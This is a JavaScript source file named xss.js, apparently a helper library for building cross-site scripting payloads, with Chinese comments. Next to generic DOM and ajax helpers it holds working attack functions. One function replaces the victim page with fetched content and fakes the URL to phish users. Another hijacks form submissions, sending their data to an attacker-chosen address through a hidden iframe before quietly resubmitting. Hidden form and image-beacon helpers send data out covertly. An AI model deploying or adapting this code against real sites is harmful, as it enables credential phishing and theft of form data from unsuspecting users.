var xss = function() {
    var x = {
        'name': 'xss.js',
        'version': '0.1',
        'author': 'jackmasa'
    };

    x.x = function(id) {
        return document.getElementById(id)
    };

    //容错取值
    x.e = function(_) {
        try {
            return eval('(' + _ + ')')
        } catch (e) {
            return ''
        }
    };

    //浏览器 
    x.i = {
        i: !!self.ActiveXObject,
        c: !!self.chrome,
        f: self.mozPaintCount > -1,
        o: !!self.opera,
        s: !self.chrome && !!self.WebKitPoint
    };

    //UA
    x.ua = navigator.userAgent;

    //判断是否为苹果手持设备
    x.apple = x.ua.match(/ip(one|ad|od)/i) != null;

    //随机数
    x.rdm = function() {
        return ~~(Math.random() * 100000)
    };

    //url编码(UTF8)
    x.ec = encodeURIComponent;

    x.html = document.getElementsByTagName('html')[0];

    /*
     * 销毁一个元素
     */
    x.kill = function(e) {
        e.parentElement.removeChild(e);
    };

    /*
     *绑定事件
     */
    x.bind = function(e, name, fn) {
        e.addEventListener ? e.addEventListener(name, fn, false) : e.attachEvent("on" + name, fn);
    };

    /*
     * dom准备完毕时执行函数
     */
    x.ready = function(fn) {
        if (!x.i.i) {
            x.bind(document, 'DOMContentLoaded', fn);
        } else {
            var s = setInterval(function() {
                try {
                    document.body.doScroll('left');
                    clearInterval(s);
                    fn();
                } catch (e) {}
            }, 4);
        }
    }

    /*
     * 同源检测
     */
    x.o = function(url) {
        var link = x.dom('<a href="' + encodeURI(url) + '">', 2);
        return link.protocol + link.hostname + ':' + link.port == location.protocol + location.hostname + ':' + link.port;
    };

    /*
     * html to dom
     */
    x.dom = function(html, gcsec) {
        var tmp = document.createElement('span');
        tmp.innerHTML = html;
        var e = tmp.children[0];
        e.style.display = 'none';
        x.html.appendChild(e);
        gcsec >> 0 > 0 && setTimeout(function() {
            x.kill(e);
        }, gcsec * 1000);
        return e;
    };

    /*
     * ajax
     */
    x.ajax = function(url, params, callback) {
        (params instanceof Function) && (callback = params, params = void(0));
        var XHR = (!x.o(url) && window.XDomainRequest) ||
            window.XMLHttpRequest ||
            (function() {
                return new ActiveXObject('MSXML2.XMLHTTP')
            });
        var xhr = new XHR();
        xhr.open(params ? 'post' : 'get', url);
        try {
            xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded')
        } catch (e) {}
        callback && (xhr.onreadystatechange = function() {
            (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(this, arguments);
        });
        xhr.send(params);
    };

    /*
     * no ajax
     */
    x.najax = function(url, params) {
        if (params) {
            var form = x.dom('<form method=post accept-charset=utf-8>');
            form.action = url;
            for (var name in params) {
                var input = document.createElement('input');
                input.name = name;
                input.value = params[name];
                form.appendChild(input);
            }
            var iframe = x.dom('<iframe name=_' + x.rdm() + '_>', 6);
            form.target = iframe.name;
            form.submit();
        } else {
            new Image().src = url + '&' + x.rdm();
        }
    };

    /*
     * 钓鱼
     */
    x.phish = function(url) {
        x.ajax(url, function() {
            document.open();
            document.write(this.responseText);
            document.close();
            history.replaceState & x.o(url) && history.replaceState('', '', url);
        })
    };

    /*
     * 表单劫持
     */
    x.xform = function(form, action) {
        form.old_action = form.action, form.old_target = form.target, form.action = action;
        var iframe = x.dom('<iframe name=_' + x.rdm() + '_>');
        form.target = iframe.name;
        setTimeout(function() {
            x.bind(iframe, 'load', function() {
                form.action = form.old_action, form.target = form.old_target, form.onsubmit = null, form.submit();
            })
        }, 30);
    };

    /*
     * 函数代理
     */
    x.proxy = function(fn, before, after) {
        return function() {
            before && before.apply(this, arguments);
            var result = fn.apply(this, arguments);
            after && after.apply(this, arguments);
            return result;
        }
    };

    return x;
}();